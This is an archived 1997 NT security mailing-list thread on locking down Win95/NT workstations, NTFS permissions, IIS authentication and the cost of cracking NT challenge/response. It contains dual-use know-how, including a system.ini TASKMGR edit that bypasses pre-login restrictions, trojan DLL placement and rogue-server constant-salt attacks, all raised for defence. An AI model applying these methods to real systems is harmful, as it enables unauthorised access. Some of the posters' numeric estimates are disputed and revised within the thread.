XCACLS %SystemRoot%\System32\Config /G Administrators:F "CREATOR
OWNER":F SYSTEM:F

Now, what is the proper syntax to give the Everyone group LIST access? 

Thank you,
dp

Hi Misha,
 I can understand the problem you are going though I am an Network
Administrator of about 200 computers, and have the same problems. I
have found a very simple but effective way to DETER people from "playing
around" in Win95. My company has a very high demand for productivity and
very low budget, like most companys. This program uses bat files a boot
up to disable the explorer, which is full of security holes and start
the program manager instead. This program also performs disk cleans,
restores the registry everytime it is booted. It uses deception to help
hide directories such windows and other well know ones, it also has a
list that you edit so that only those programs can be run when in secure
mode. The two nice things about it is that 1) you can edit the bat files
to customize it for your needs and 2) It's FREE!!! Here is a good place
to read up on this program and others.
 http://lib.berkeley.edu:8000/Security/win95/index.html

In this page you can download the program. I also use another program
called IKIOSK which will allow you to gray out or disable almost any
menu item or button in almost any program. It is very good program. I
find that using these two programs together seems to be working well.
If you have any questions please feel free to contact me.
 Jim Storey 
 Network Administrator
 US Army Education Centers Korea
 

Misha Gopaul wrote:
> 
> Hi,
> 
> I am the network administrator of a 80 user NT4 network.
> All the workstations are running a win95 client.
> 
> We have e security problem that is to do with restricting access to task
> manager.
> 
> We restricted access to it, in order to prevent un authorised programmes
> to be run before login, however, we found a bug.
> 
> Basically, any user can load up word and edit the system.ini (even
> though the local drives have been hidden from explorer) simply by typing
> the path and filename in the filename box. This means that they can
> replace the
> TASKMGR=
> line with
> TASKMGR=C:\windows\taskmgr
> before login, when no restriction policies are active, they can hit CTRL
> ESC, and run regedit, command.com or whatever you like.
> 
> Can anyone suggest a way around this... Is there a way to prevent users
> from running ANYTHING before they login, or is there a way to allow
> editing of win.ini only through setup programmes? (i.e. so users can't
> change it themselves)
> 
> Any help would be appreciated.
> Misha

Hello all,

I have an IIS 3.0 server with all the latest patches, using Front Page 97 
clients. I cannot get connected using SSL. The IIS Server manager shows 
a port 443 installed, and it checks it fine. But when the client tries 
to connect, it says no server found on port 443.

I've seen conflicting stuff in dialog boxes for the programs, so I've 
tried Basic authentication on and off. Nothing seems to work.

Can somebody please walk me thru, what it takes to get this working, and 
the implications of the various authentications?

TNKS!

Dave
DCompton@DTIC.MIL 
Paul,

> break one password (assumes the PC costs ~$1750). Not much use if
> passwords are changed every 45-90 days (a typical figure). So to break
> it in time to use it, it would take $40-80,000,000.

How do you calculate these numbers ? Password length of 14 characters or
128 ? How big a keyspace (complete unicode-space ?), ...
And do you already take in account the use of syskey ?

I can understand that MD4 is enormously harder to brute-force than DEA,
but do you already take in account different passwords that could yield
the same hash ?

And finally, the numbers you cite, especially the number of PPro's needed:
do you agree that once you can dispose of a critical mass of money, it
might be better to use specialized hardware ? Is it too much fantasy,
supposing that one machine, stuffed with hundreds of DSP's might easily
replace the 5000+ PPro's you cite ? As far as computing power is
concerned, and only a fraction of the price ?

thanks for your time,

kr=

 \\\___///
 \\ - - //
 ( @ @ )
 +---------------oOOo-(_)-oOOo-------------+
 | kris carlier - carlier@iguana.be |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion |
 | SMS: +32-75-61.43.05 |
 +------------------------Oooo-------------+
 oooO ( )
 ( ) ) /
 \ ( (_/
 \_)




this seems BAD. as far as i know, nt replicates the ENTIRE domain db every time
a change is made, this is one of the reasons some people dislike it for
enterprise (wan spanning) networks. domains should not span wan links, thus you
get the pleasure of setting up trust relationships.....


chris



______________________________ Reply Separator _________________________________
Subject: [NTSEC] Domain modeling
Author: owner-ntsecurity@iss.net at INTERNET
Date: 7/23/97 1:52 AM


Greeting all NT gurus out there. I just want to bounce off some ideas
with y'all out there. We have three major site across the US: One in
Atlanta, one in Houston and one in LA. We're implementing NTAS4.0
across the board and are currently selecting the domain model we would
like to use. I know what I want and what is feasible, but we have an
administrator who likes an alternative model. That of a single Master
Domain model. Offhandedly, I would call it nonsense, but I need some
input from the WAN expert out there. What is the advantage and
disadvantage of setting up a Master Domain at one of the central site
(whether it be LA, Atlanta, Houston) and making the other sites domains
a BDC to the Master PDC across the WAN. This don't make sense to me
technologically, administratively as well as when it comes to
maintenance. I see chaos all over the place and very, very poor
planning. Any input?
At 15:59 7/22/97 -0700, Paul Leach wrote:
 
>> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]

>> Consider WRITE priviledges to the system directory, which probably
>> you
>> can't even disable, because some popular apps depend upon it? 
>> Now ask your local Unix administrator, if (s)he would consider
>> chmod o+w /bin /usr/bin /usr/local/bin /usr/lib /lib ...
>> Installing systemwide application must limited to the Administrator.
 
>First: Suppose only admins could write to the system directory. If the
>user has physical access to their own machine, then they can still
>install apps without being admin -- by booting from floppy, or taking
>the hard disk out and putting it into their home machine -- its all just
>a question of how much work it is, and I think there are lots of users
>with the requisite skills in this era of nearly unbiquitous home PCs.

Yes, but that is really a different issue. I can restrict physical access
with $10 worth of hardware - devices to padlock cases do exist. We can't
excuse file system insecurity by calling on physical security issues. Let's
just assume that we want to raise the barrier to the level where physical
access is required.

>Second: by default, NT _does not_ let anyone except admins overwrite or
>delete existing system files. Since apps that are run through the GUI
>are run via absolute paths, adding files is not by itself sufficient to
>insert a trojan.

This isn't exactly true, AFAIK, the default permissions on %systemroot% are
"Everyone:F". If I'm not mistaken, this allows ANY user to take ownership
and change permissions of ANY file object below that point. For that
matter, %systemroot%\profiles are also "everyone:F", which allows ANY user
to say delete an entire profile tree and replace it with one infested with
trojans of their choice. If I'm missing something here, please correct me.
I'm quite sure that if these directories had "everyone:C" that we wouldn't
have that problem.

Furthermore, if POSIX is enabled, a user can create a file named
"critical.dll", and the system will find it before it finds "CRITICAL.DLL".
It might be a good idea to name ALL files which NT installs below
%systemroot% in lower case, and if you want to reduce the potential for
mischief disable POSIX.

>> So, before complaining, that I've categorized NT as an insecure OS
>> (it's by far superior to Win95, but that's it), please explain me
>> how you do prevent trojan horse attacks on a system where every user
>> may
>> write to public directories? *wonder*
 
>If you're _really_ worried about a user installing a trojan horse on
>that user's personal workstation, you're out of luck (unless you want to
>buy one of those expensive PC-vault things that prevent the user from
>getting into the case, or put all the PCs in a locked room and run long
>keyboard, mouse, and monitor cables, or other esoteric solutions --
>i.e., unless you physically secure the machine.)

Let's work from the assumption that physical access would be detected, and
try to see if we can secure the OS from someone who cannot boot another OS,
and has access to the network, the keyboard, and removable media.

>These aren't things you can do for most user's workstations. But they
>can and should be done for servers and admins' workstations, in most
>normal office type environments.

I completely agree with this - but the fact still remains that the apps
people are making our jobs a LOT more difficult. This is understandable in
the context of people who think in terms of Win95. It is hard enough to
secure a workstation in some sort of reasonable manner without the apps
wanting to write to the system tree. Nearly _every_ app vendor which I'm
aware of does this, so I'm not just picking on your apps group. The apps
vendors aren't dumb - they just aren't used to thinking in terms of security.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

On June 18, 1997, I posted a question concerning restriction of access
to NT file systems via hostname or IP address because I don't want to
violate licensing restrictions. For a computing lab, I have packages
with a certain number of licenses, and I don't want those packages
accessed by machines that are not in the lab. I can do this with
NFS but I'm looking for an NT-native solution.

No additional responses have arrived in the last two weeks so
it seems like it's time to summarize.

* Some people requested a summary of responses. Here 'tis.

* Some people claimed that this wasn't a problem. They said that all
I needed to do was control the access to the files via NTFS file
permissions. Unfortunately, my testing has shown that I can access files
from a NT file server from an MSW95 machine that is not in my domain
and that is in no way specially trusted by my file server simply by
creating an account on the MSW95 machine that has the same username
and password as a valid account in my NT domain. From this test,
I have to believe that this is a problem.

* A couple of people suggested putting application software only
on the clients and providing only home directories from servers.

This really doesn't solve my problem since I want a solution that
allows me to share licensed software from a file server.

* One person suggested use of license monitoring software (specifically
"SofTrack" from On Technology) to prevent overuse of licenses. I am
already looking at Express Meter from WRQ for this purpose.

While this will (I hope) address the problem of actual license compliance,
it doesn't prevent machines outside the lab from consuming licenses and
thus starving machines in the lab (especially bad when a class is meeting
in the lab and every seat *must* have a license available).

* One person suggested using Samba with a TCP-wrapper (which I'm
considering) and another suggested an NT-equivalent using the filtering
capability of the then newly-out-of-beta R&RAS (formerly Steelhead)
to restrict access to the Windows networking ports (135,137,138,139)
to a given range (which I'm also considering). These solutions are
susceptible to IP spoofing but at least they raise the bar (and make
SMB at least as secure as my current NFS solution).

My final solution will probably be using a combination of R&RAS with
Express Meter (two technologies with which I need to experiment) or
falling back to the use of NFS for serving application packages.

 David
-- 
David R. Linn, SEDCON System Manager |INET: drl@vuse.vanderbilt.edu
Vanderbilt University School of Engineering|Phone: [+1] 615-343-6164
Box 3241, Station B |Disclaimer: I have no authority
Nashville, TN, USA 37235 |to speak for anyone but myself.
 "Export crypto, not jobs." - Daniel Lynch
 http://www.vuse.vanderbilt.edu/~drl

If there was a Win95 client that could do the
better challenge/response, I'd be happy
to implement it. 

For the numbers you state below, I think 
you're stating an ideal best case scenario,
where the password in question is fairly long,
and uses a wide range of characters.

Leaving alone the issue of dictionary-crackable 
passwords, if one checks all passwords
14 characters and under (yes, a number of places
in NT limit you to 14 characters) you'll find that it
would take MUCH less time than 5700 years
to check that, no?

I think the 5700 years is how long it takes to check
every single RSA 128 bit combo regardless of whether
it is a password than can be used or not.

If I'm incorrect in any of my assumptions, I'd love
to know.

 Ryan

---------- Previous Message ----------
To: sfil, andreas
cc: f1ash, root, ntsecurity
From: paulle@microsoft.com (Paul Leach) @ smtp
Date: 07/22/97 06:33:11 PM
Subject: RE: [NTSEC] Win95 sec

Breaking a sniffed NT challenge/response will take approximately 5,700
200mhz Pentium Pro _years_, if the user has a strong password. (This is
the average time to search the key space at the rate of 1 million
keys/sec on a 200mhz PPRO using the software developed for the RSA DES
challenge, which was at the time the fastest known software
implementation.)

Breaking weak passwords is like stealing candy from a baby -- you get
the candy, but you don't prove anything about your abilties as a thief.

Before I hear another word about NT challenge/response, I would really
like any person doing so to state that they understand that: 
* breaking a sniffed NT challenge/response is almost exactly as
hard (number of keys to examine) as breaking a sniffed Kerberos V5 login
attempt -- both involve a brute force search through key space or
password space (whichever is smaller).
* Kerberos users' passwords can also be as weak as NT users'
* a precomputed dictionary attack on NT challenge/response
requires a dictionary of order 2**60 bytes -- 1 million terabytes.

People may say whatever they like about LM challenge/response -- it
won't let you have a very strong password. Apply the LM-FIX from the MS
FTP site so you don't use LM challenge/response if your security
requirements demand it.


> ----------
> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> Reply To: Andreas Kostyrka
> Sent: Tuesday, July 22, 1997 10:04 AM
> To: Stas
> Cc: Misha Gopaul; 'Benjamin Weissman'; ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Tue, 22 Jul 1997, Stas wrote:
> 
> > Hi!
> > 
> > This conclusion is TRUE if attacker has _unlimited_ resources .
> > It is like conclusion that "there is no unbreakable encryption" .
> But that's a bad excuse for using WEAK encryption.
> And especially the Internet hacker may have quite a bit of computing
> power, potentially on other sites that (s)he has hacked. For example
> on
> the local university here there have been discussion to boot every
> student lab PC overnight to Linux, just to have some calculation
> power.
> That would be around 500 P100-32MB-SCSI :)
> Assuming that one takes around 40 hours
> to brutforce with a 26 character set NT hashes (An assumtion from
> myself,
> that a PP200 calcs around 4 times faster than a P100).
> With such a cluster this 40 hours get 40/500 hours == 2/25 hours == 5
> minutes. Even encryption that takes around a month to break on a singe
> box, is cracked there in around 1h30m.
> 
> NT uses quite weak encryption, especially when you take into account,
> that
> the server (potentially a rogue server that is collecting passwords ;)
> )
> can request a constant salt.
> 
> Oh, by the way, I'd assume that there are many quite capable clusters
> on
> the internet, which could be used by some bad boys, right?
> 
> Andreas
> 
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3i
> Charset: noconv
> 
> iQEVAwUBM9ToGVGrPWwMHrE1AQE71wf/WzJ2Pa4xM9DPy+QyrcuoeWD5crDyuHcA
> c8tymbfrb7U89f4dOORcyTg6SvqMk1VGwG6+jAvCRhZmOXoOfejZagkQAFwV5BP3
> Nh0anluM7oip1isp9YXvfZtID4PvJlxaXAtBnaaKUo5INkoo+xaCXpcVED+Zoku2
> ugrybyDqy3TNHcNcBGfGb9113gtrs5fKbv8B60CNkD7rEplpsxuEGXXFpP2PU915
> oOWKqoFbJu+oG0Jd+oqe6Utq5w1R7xv5xTEZUjLUh6ldPayPAlnX5WfIm4ei/CRE
> 7kRAK24zQ2h7a8mDrVC6lgfK5DXnrSdhSFOsoS2tFVBvvlIqIqfwTw==
> =GVg1
> -----END PGP SIGNATURE-----
> 





> ----------
> From: Ryan Russell/SYBASE[SMTP:Ryan.Russell@sybase.com]
> Sent: Wednesday, July 23, 1997 7:15 AM
> To: Paul Leach
> Cc: ntsecurity; mudge
> Subject: RE: [NTSEC] Win95 sec
> 
> Leaving alone the issue of dictionary-crackable 
> passwords, if one checks all passwords
> 14 characters and under (yes, a number of places
> in NT limit you to 14 characters) you'll find that it
> would take MUCH less time than 5700 years
> to check that, no?
> 
How come is it that I'm the only one who can do simple math?

26**14 is almost a thousand times _bigger_ than 2**56. 
26**14 = 6.45099747033e+19
2**56 = 7.205759403793e+16

So the possible number of JUST LOWER CASE 14 character passwords is much
larger than the number of DES keys. That's why its cheaper to just
search DES key space.

> I think the 5700 years is how long it takes to check
> every single RSA 128 bit combo regardless of whether
> it is a password than can be used or not.
> 
No, its the time to check half of the DES 56 bit key space. And yes, you
don't know if the key is related to a password. So what? If you test
just possible passwords, each test will take about 5 times longer, and
there are lots more possible passwords than keys. (A good MD4 takes
about 4 micoroseconds, a good DES key test, such as the one in the DES
challenge, takes 1 microsecond.

> If I'm incorrect in any of my assumptions, I'd love
> to know.
> 
There weren't any assumptions, just assertions. I, however, listed my
assumptions so that the math could be checked. I even double checked
mine, and discovered I was wrong -- the average search time for DES key
space is 1142 years at 1 million a second. (The number I quoted was for
a 200,000 tests a second, which is the speed at which an MD4 of the
password and DES test of the derived key can be done -- I read the wrong
cell off of my spreadsheet.)

Paul
I meant to send this to the list as well as the author.

> ----------
> From: Paul Leach
> Sent: Wednesday, July 23, 1997 10:59 AM
> To: 'Andreas Kostyrka'
> Subject: RE: [NTSEC] Win95 sec
> 
> 
> 
> ----------
> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> Sent: Wednesday, July 23, 1997 8:03 AM
> To: Paul Leach
> Cc: Misha Gopaul; 'Benjamin Weissman'; ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> On Tue, 22 Jul 1997, Paul Leach wrote:
> > First: Suppose only admins could write to the system directory. If
> the
> > user has physical access to their own machine, then they can still
> > install apps without being admin -- by booting from floppy, or
> taking
> > the hard disk out and putting it into their home machine -- its all
> just
> > a question of how much work it is, and I think there are lots of
> users
> > with the requisite skills in this era of nearly unbiquitous home
> PCs.
> Huge difference: Most users will consider tweaking around with the
> harddisc contents ok by default, while taking out the screw driver
> most will probably consider as a bad thing.
> 
> My point is and was that it not possible to secure any machine against
> someone who has physical access. I further stated that one could make
> it harder or easier to break in.
> Your observation does not contradict either statement.
> 
> 
> 
> You can also study the iX article (also in English), where Active-X
> controls are used to ``steal'' money via Quicken from the browser
> user,
> and where it is argued that this would probably stand up in court as
> legal! (http://www.ix.de/ix/artikel/1997/03/090/)
> 
> The attacker fraudulently obtained a certificate, and the user said
> they would trust _any_ certificate. The former was a breach of
> contract, and the latter stupid.
> 
> > Second: by default, NT _does not_ let anyone except admins overwrite
> or
> > delete existing system files. Since apps that are run through the
> GUI
> > are run via absolute paths, adding files is not by itself sufficient
> to
> > insert a trojan.
> Wonder so how is it possible that people install Win16 applications?
> *wonder*
> 
> I'm not answering any more snide questions. The question was answered
> this week on this list.
> 
> And again: Files are accessed by absolute path ok. So what about
> DLLs that are installed in the system directory? A trojan may be
> hidden
> also in some DLL that when run as Administrator starts to do bad
> things.
> 
> First: My point is and was that it not possible to secure any machine
> against someone who has physical access.
> Your observation, even if true, does not contradict that.
> 
> Second: Windows apps find their DLLs in the same directory as their
> EXE, before looking on the PATH.
> 
> > 
> > Third: I think that it might be possible to secure a physically
> insecure
> > machine using encryption -- but not any product I know of -- it
> would
> > have to be something like an encrypting disk controller that got
> your
> > encryption password in the BIOS each time the system booted -- and
> even
> > this wouldn't be safe against replacing the BIOS ROMs with a trojan
> BIOS
> > to steal your password (or reloading the BIOS if it was in flash
> rom!).
> 
> You are mixing up to differnt things:
> - securing the network.
> - securing the workstation.
> 
> No I'm not. I'm only talking about securing the workstation.
> 
> 
> 
> P.P.S.: Concerning the cryptographical strength you claim: Does this
> still
> apply when a rogue server uses a constant salt, as would be
> feasible
> with a CIFS link in a webpage?
> 
> That's a different case, and I mentioned it as well in the message --
> that attack would take order of 2**60 bytes of storage to store all
> the possible responses to the chosen challenge. It would be very fast,
> though.
> 
> Paul
> 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Bill,

Here is an alternate approach I used for our software authorization
process 
and which may (or may not) be suitable for your situation.

If you are not opposed to assigning passwords, then start out with a
list of 
passwords and the corresponding hashes in your server database.

Pick your favorite hash mechanism and put it into an ISAPI dll. They're

fast, small, and run very stable under IIS's process space. Use VC++4.2
to 
generate the template for calling your encryption/decryption routine.

Use simple HTTP forms to take username/pass from the client and send
them 
clear text to the server side dll which hashes them and then looks up
the 
hashed result in the database. No ActiveX or Java needed.

Not exactly a universal solution, but it works great where applicable.

Mike D'Arcy - Network Administrator / DBA 
Lightscape Technologies, Inc.
1054 South DeAnza Blvd, Suite 200
San Jose, CA 95129-3553 USA
mailto:mdarcy@lightscape.com
http://www.lightscape.com


- -----Original Message-----
From: Bill Stout [SMTP:stoutb@pios.com]
Sent: Tuesday, July 22, 1997 2:38 PM
To: ntsecurity@iss.net
Subject: [NTSEC] Browser password hashing

Can a person use a browser to hash a password before sending it across
the
internet? I'd like to setup a configuration where a client browser
hashes a
password, sends the hashed password to an IIS website, which compares
the
hash to a stored hashed password for that username. Since in this case
a
database application stores the password, I'd like it not to store (or
transmit) plaintext passwords. ;)

I don't want to do IIS Challenge/Response, since it won't work across
99.9999% of the existing firewalls. Failing the option to use C/R, the
IIS
password options are Basic (Clear text) and allow anonymous (acting as
IIS_computername).

Anyone do this before with Active-X, Java or scripts? 


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM9ZKJ7lFVshHa0SaEQLjYgCgocL/XLzXausRFfDaLjBcvZBcdQ0AoPaW
/V/h2y1zoqWro1rOS0m8/Sfo
=Ok8Q
-----END PGP SIGNATURE-----
Hi all,

I was wondering if I could get some advice on the best source for hacking NT 
RAS over a phone line. I was considering setting up RAS as a backdoor 
"emergency" dial-in solution with only 1 modem and 1 user account but I want 
to know what kind of security issues I need to worry about. 

Thanks for any help,

Andy
Hi!
I have an IIS-server with users connecting via FrontPage and it locks as if
I have to turn on basic authentication for them to be able to connect and
work with their webfiles. When I done this and users log in to the network
to work is the passwords still encrypted or have I caused that all
passwords are transmitted in clear text now even if it has nothing to do
with the web at all?
Worried! Ylva



> ----------
> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> Sent: Wednesday, July 23, 1997 8:14 AM
> To: Paul Leach
> Cc: 'Stas Filshtinskiy'; ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> On Tue, 22 Jul 1997, Paul Leach wrote:
> > Depends on the value of what its protecting.
> > 
> > Also worthy of note: with $10,000,000 it would take about a year to
> > break one password (assumes the PC costs ~$1750). Not much use if
> > passwords are changed every 45-90 days (a typical figure). So to
> break
> > it in time to use it, it would take $40-80,000,000.
> The problem is, that this cost is the same to break 1 or 10000
> passwords.
> (Assuming you've collected your data from a rogue server, that
> requests
> the same salt everytime.)
> 
So what -- it still takes a year, and if all of the passwords have
already changed, now you know a lot of out-of-date passwords.

> Assuming 10-20% weak passwords you're in quite faster than your
> quotes.
> (And I'm not sure that 10-20 is the upper bound of weak passwords with
> usual users, probably it's more like the lower bound :((( )
> 
Since it is possible to install a DLL that checks whether passwords are
strong enough, any site that cares enough about security will have 0%
weak passwords, so your assumption is invalid.

Paul
I guess I'm just confused. My assumption
(which I didn't make clear) was that the 
challenge/response that didn't include the
LM hash was based on a 128bit key of some
sort, for which any 14 character password
would certainly have fewer cominations.

If it's "only" as hard as 56bit DES, then its
easier than I thought. I was assuming 128bit RSA.

Apologies for spreading misconceptions about 
the better form of the challenge/response. Can
you point me at one of your papers that explains 
the C/R pair generation?

FWIW, I'd like to see something more like 128 RSA
to generate those, as I think 56bit DES is quite near
the end of it's lifetime. As an example, we just installed
1000 200Mhz Pentium Pro machines in our classrooms
which are idle most of the time. About how long
would it take me to crack a password?

 Ryan

---------- Previous Message ----------
To: Ryan.Russell
cc: ntsecurity, mudge
From: paulle@microsoft.com (Paul Leach) @ smtp
Date: 07/23/97 10:35:14 AM
Subject: RE: [NTSEC] Win95 sec



> ----------
> From: Ryan Russell/SYBASE[SMTP:Ryan.Russell@sybase.com]
> Sent: Wednesday, July 23, 1997 7:15 AM
> To: Paul Leach
> Cc: ntsecurity; mudge
> Subject: RE: [NTSEC] Win95 sec
> 
> Leaving alone the issue of dictionary-crackable 
> passwords, if one checks all passwords
> 14 characters and under (yes, a number of places
> in NT limit you to 14 characters) you'll find that it
> would take MUCH less time than 5700 years
> to check that, no?
> 
How come is it that I'm the only one who can do simple math?

26**14 is almost a thousand times _bigger_ than 2**56. 
26**14 = 6.45099747033e+19
2**56 = 7.205759403793e+16

So the possible number of JUST LOWER CASE 14 character passwords is much
larger than the number of DES keys. That's why its cheaper to just
search DES key space.

> I think the 5700 years is how long it takes to check
> every single RSA 128 bit combo regardless of whether
> it is a password than can be used or not.
> 
No, its the time to check half of the DES 56 bit key space. And yes, you
don't know if the key is related to a password. So what? If you test
just possible passwords, each test will take about 5 times longer, and
there are lots more possible passwords than keys. (A good MD4 takes
about 4 micoroseconds, a good DES key test, such as the one in the DES
challenge, takes 1 microsecond.

> If I'm incorrect in any of my assumptions, I'd love
> to know.
> 
There weren't any assumptions, just assertions. I, however, listed my
assumptions so that the math could be checked. I even double checked
mine, and discovered I was wrong -- the average search time for DES key
space is 1142 years at 1 million a second. (The number I quoted was for
a 200,000 tests a second, which is the speed at which an MD4 of the
password and DES test of the derived key can be done -- I read the wrong
cell off of my spreadsheet.)

Paul



At 09:02 AM 7/23/97 +0200, Remco Bakker wrote:
>Bill,
>I'm not quite sure whith what you want, but http://www.v-one.com/ might
>give you the option you look for: mutual authentication, acces control


Thanks, but that's not a good fit since there would be a (unmentioned) large
public user community accessing the box.

This will be a public IIS webserver that any browser including WebTV should
be able to access (Well, so much for Active-X). Initial target # of users
to be about 50,000-100,000, possibly growing 10-fold or more. Users would
basically create a web site via an automated app, and others could view it,
with password protection. This might have to go MS-Site Server or MCIS
Membership to handle the large user database that NT can't, and probably
shouldn't be on a database app anyway.

Magnus has a good suggestion though, I could use SSL to protect the
passwords in transit, and do hashing purely on the NT box which protects the
password file a little.

BTW - I noticed an (April 10) guide to securing NT servers at the Microsoft
site: http://www.microsoft.com/workshop/prog/security/guidesecnt.htm

Bill Stout



___________________________________________________________________
P.S. - The 'El Nino' pattern looks like the worst yet, expect continued
major weather-related disasters across the U.S.. Ocean off California is 5
degrees above normal. Side effects might be 7.0-8.0 quakes in Cal/So Cal
1998 (me/dream). Prepare, be safe, stockpile food, backup often, create
redundant links. 
http://cwatchwc.ucsd.edu/elnino/latest.gif
http://www.umassd.edu/Public/People/Kamaral/thesis/1982-1983ElNino.html



> ----------
> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> Sent: Wednesday, July 23, 1997 2:00 PM
> To: Paul Leach
> Cc: 'Stas Filshtinskiy'; ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> On Wed, 23 Jul 1997, Paul Leach wrote:
> 
> > Since it is possible to install a DLL that checks whether passwords
> are
> > strong enough, any site that cares enough about security will have
> 0%
> > weak passwords, so your assumption is invalid.
> Another point that M$ didn't learn from good old Unix. You never
> actually
> know which dictionary the cracker will be using. And by filtering to
> much
> the password space the cracker could even speed up his search. ;(
> 
Once you enforce the inclusion of a minimum number of punctuation,
numeric, and uppercase characters in the password, the liklihood of it
being in any dictionary smaller than one that includes all possible
passwords becomes remote.

Even with the reduction in the keyspace that results from requiring a
certain number of these characters, a 10 character password with at
least 3 characters that are punctuation, numeric, or uppercase will give
a password space larger than the DES key space. 

Paul
On July 16, I asked whether we should treat the MS recommendations for
domain models as the closed set of models that one should consider for
use.

The consensus of the repsonses is that the MS recommendations are just
recommendations and that other models can be used without seriously
compromising your domain (any more that the MS recommended models compromise
security).

One respondent pointed out that if a well-secured domain allows a
less well-secured domain to trust it, then the well-secured domain
opens itself to attack via the passwords cached on the machines in
the less well-secured domain.

 David
-- 
David R. Linn, SEDCON System Manager |INET: drl@vuse.vanderbilt.edu
Vanderbilt University School of Engineering|Phone: [+1] 615-343-6164
Box 3241, Station B |Disclaimer: I have no authority
Nashville, TN, USA 37235 |to speak for anyone but myself.
 "Export crypto, not jobs." - Daniel Lynch
 http://www.vuse.vanderbilt.edu/~drl

 

> ----------
> From: Ryan Russell/SYBASE[SMTP:Ryan.Russell@sybase.com]
> Sent: Wednesday, July 23, 1997 9:30 AM
> To: Paul Leach
> Cc: ntsecurity; mudge
> Subject: RE: [NTSEC] Win95 sec
> 
> I guess I'm just confused. My assumption
> (which I didn't make clear) was that the 
> challenge/response that didn't include the
> LM hash was based on a 128bit key of some
> sort, for which any 14 character password
> would certainly have fewer cominations.
> 
It is based on 128 bits, but it is split into two 56 bit DES key to
compute the response from the challenge, and a 16 bit padded to 56 bit
totally worthless third DES key.

> If it's "only" as hard as 56bit DES, then its
> easier than I thought. I was assuming 128bit RSA.
> 
> Apologies for spreading misconceptions about 
> the better form of the challenge/response. Can
> you point me at one of your papers that explains 
> the C/R pair generation?
> 
> See "ftp://ftp.microsoft.com/developr/drg/cifs/sec.htm" for links to
> all the specs.
> 
> FWIW, I'd like to see something more like 128 RSA
> to generate those, as I think 56bit DES is quite near
> the end of it's lifetime.
> 
I agree.

> As an example, we just installed
> 1000 200Mhz Pentium Pro machines in our classrooms
> which are idle most of the time. About how long
> would it take me to crack a password?
> 
About 2 years to get both of the 56 bit keys mentioned above (1 year
each). About 5 times longer to get the password, because password tests
are about 5 times as expensive. More details already in other recent
messages to the list.

Paul



> ----------
> From: Kris Carlier[SMTP:root@iguana.be]
> Reply To: carlier@iguana.be
> Sent: Wednesday, July 23, 1997 9:39 AM
> To: Paul Leach
> Cc: NT Security List
> Subject: RE: [NTSEC] Win95 sec
> 
> Paul,
> 
> > break one password (assumes the PC costs ~$1750). Not much use if
> > passwords are changed every 45-90 days (a typical figure). So to
> break
> > it in time to use it, it would take $40-80,000,000.
> 
> How do you calculate these numbers ? Password length of 14 characters
> or
> 128 ? How big a keyspace (complete unicode-space ?), ...
> 
Already explained in other recent messages.

> And do you already take in account the use of syskey ?
> 
Syskey is not relevant to sniffing attacks.

> I can understand that MD4 is enormously harder to brute-force than
> DEA,
> but do you already take in account different passwords that could
> yield
> the same hash ?
> 
How could one take advantage of it?

Even so, the chances that 2**56 random 128 bit numbers collide is
infinitesimal (you need to get 2**64 to get a 50% chance of ONE
collision.) MD4 hashes aren't random, but do create a good approximation
of a uniform distribution, so I believe the math applies.

> And finally, the numbers you cite, especially the number of PPro's
> needed:
> do you agree that once you can dispose of a critical mass of money, it
> might be better to use specialized hardware ? Is it too much fantasy,
> supposing that one machine, stuffed with hundreds of DSP's might
> easily
> replace the 5000+ PPro's you cite ? As far as computing power is
> concerned, and only a fraction of the price ?
> 
I assume that the NSA or any foreign goverment could crack DES in time
to use the password. It's not the threat I'm worried about. As someone
else pointed out, for far less than the smallest cost estimate made
recently, one could "purchase" an admin password from an admin.

Paul




> ----------
> From: David LeBlanc[SMTP:dleblanc@iss.net]
> Sent: Wednesday, July 23, 1997 9:40 AM
> To: Paul Leach; 'Andreas Kostyrka'
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> At 15:59 7/22/97 -0700, Paul Leach wrote:
> 
> >> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> 
> >> Consider WRITE priviledges to the system directory, which
> probably
> >> you
> >> can't even disable, because some popular apps depend upon it? 
> >> Now ask your local Unix administrator, if (s)he would consider
> >> chmod o+w /bin /usr/bin /usr/local/bin /usr/lib /lib ...
> >> Installing systemwide application must limited to the
> Administrator.
> 
> >First: Suppose only admins could write to the system directory. If
> the
> >user has physical access to their own machine, then they can still
> >install apps without being admin -- by booting from floppy, or taking
> >the hard disk out and putting it into their home machine -- its all
> just
> >a question of how much work it is, and I think there are lots of
> users
> >with the requisite skills in this era of nearly unbiquitous home PCs.
> 
> Yes, but that is really a different issue. I can restrict physical
> access
> with $10 worth of hardware - devices to padlock cases do exist. We
> can't
> excuse file system insecurity by calling on physical security issues.
> Let's
> just assume that we want to raise the barrier to the level where
> physical
> access is required.
> 
Look -- I'm not saying that adding a $10 lock and disabling floppy
booting wouldn't be a good idea, and wouldn't increase the work factor
substantially. I just want people to remember that it isn't a total
solution, and when someone does break it, that it isn't a design flaw in
the system.

BTW: Do you have a reference to a source for the case locks?

> >Second: by default, NT _does not_ let anyone except admins overwrite
> or
> >delete existing system files. Since apps that are run through the GUI
> >are run via absolute paths, adding files is not by itself sufficient
> to
> >insert a trojan.
> 
> This isn't exactly true, AFAIK, the default permissions on
> %systemroot% are
> "Everyone:F". If I'm not mistaken, this allows ANY user to take
> ownership
> and change permissions of ANY file object below that point.
> 
Not true. When you take ownership of the directory, it asks you if you
